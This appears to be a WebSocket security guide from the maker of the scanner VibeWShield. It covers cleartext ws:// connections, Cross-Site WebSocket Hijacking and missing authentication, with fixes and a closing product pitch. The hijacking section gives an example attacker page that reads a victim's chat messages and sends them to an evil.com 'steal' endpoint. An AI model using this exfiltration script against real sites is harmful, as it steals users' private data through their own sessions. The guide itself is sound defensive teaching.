WebSocket Security
WebSocket vulnerabilities — unencrypted connections, missing authentication, and Cross-Site WebSocket Hijacking — allow attackers to intercept real-time data, send unauthorized messages, and hijack WebSocket sessions using a victim's browser cookies.
What Is a WebSocket Vulnerability?
WebSockets provide full-duplex communication between client and server over a persistent connection. Unlike HTTP requests, WebSocket connections bypass many security controls — there's no Same-Origin Policy enforcement on the WebSocket handshake, and tokens sent during the initial HTTP upgrade may not be rechecked afterward.
Common Vulnerabilities
1. Unencrypted ws:// Connection
Using ws:// (unencrypted) instead of wss:// (TLS-encrypted) on an HTTPS application exposes all WebSocket traffic to network interception:
// Vulnerable — cleartext WebSocket on HTTPS app
const ws = new WebSocket('ws://api.myapp.com/chat')
// Secure
const ws = new WebSocket('wss://api.myapp.com/chat')Mixed content browsers block ws:// from HTTPS pages, but some configurations still allow it on HTTP-served subdomains.
2. Missing Authentication (CSWSH)
Cross-Site WebSocket Hijacking (CSWSH) exploits the fact that browsers automatically include cookies in WebSocket handshake requests — just like regular HTTP requests. If the server only checks cookies (not an explicit auth token in the message), any website can open a WebSocket connection on behalf of a logged-in victim:
<!-- Attacker's page at evil.com -->
<script>
const ws = new WebSocket('wss://target.com/ws/chat')
ws.onopen = () => ws.send(JSON.stringify({action: 'get_messages'}))
ws.onmessage = (e) => {
fetch('https://evil.com/steal?data=' + encodeURIComponent(e.data))
}
</script>If the victim visits evil.com while logged into target.com, their session cookie is sent automatically during the WebSocket handshake, and the attacker receives all their chat messages.
3. Unauthenticated Data Transmission
The server sends sensitive data before any authentication message is received:
Client → Server: [WebSocket handshake, no auth token]
Server → Client: {"type":"welcome","user":{"id":123,"email":"victim@example.com","balance":1500}}
← sensitive data sent before auth verified
Real-World Impact
- Message theft — read private chat messages, notifications, or real-time financial data
- Account takeover — CSWSH allows sending authenticated actions on behalf of victims
- Data exfiltration — extract session data, user info, or business data in real time
- Unauthorized actions — send chat messages, transfer funds, or modify data as the victim
How to Fix
Always use wss:// in production:
const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:'
const ws = new WebSocket(`${protocol}//${window.location.host}/ws`)Authenticate via message — not just cookies:
// Client — send explicit token after connection
const ws = new WebSocket('wss://api.myapp.com/ws')
ws.onopen = () => {
ws.send(JSON.stringify({
type: 'auth',
token: localStorage.getItem('access_token') // explicit, not cookie
}))
}# Server — require auth message before any data
@ws_router.websocket("/ws")
async def websocket_endpoint(ws: WebSocket):
await ws.accept()
auth_msg = await ws.receive_json()
if auth_msg.get("type") != "auth":
await ws.close(code=4001, reason="Authentication required")
return
user = verify_token(auth_msg.get("token"))
if not user:
await ws.close(code=4003, reason="Invalid token")
return
# Now safe to proceedValidate Origin header during handshake:
ALLOWED_ORIGINS = {"https://myapp.com", "https://www.myapp.com"}
@ws_router.websocket("/ws")
async def websocket_endpoint(ws: WebSocket, request: Request):
origin = request.headers.get("origin", "")
if origin not in ALLOWED_ORIGINS:
await ws.close(code=4000, reason="Invalid origin")
return
await ws.accept()What VibeWShield Detects
VibeWShield's WebSocket Security scanner tests:
- Unencrypted
ws://— detected on HTTPS applications (mixed content) - Unauthenticated data transmission — server sends sensitive data before any auth message
- CSWSH — server accepts WebSocket connections with an attacker-controlled
Originheader
Findings range from Low (unencrypted in limited context) to High (CSWSH with data exposure).
Free security scan
Test your app for WebSocket Security
VibeWShield automatically checks for WebSocket Security and 40+ other vulnerabilities using 63 scanners — in under 3 minutes, no signup required.
Scan your app free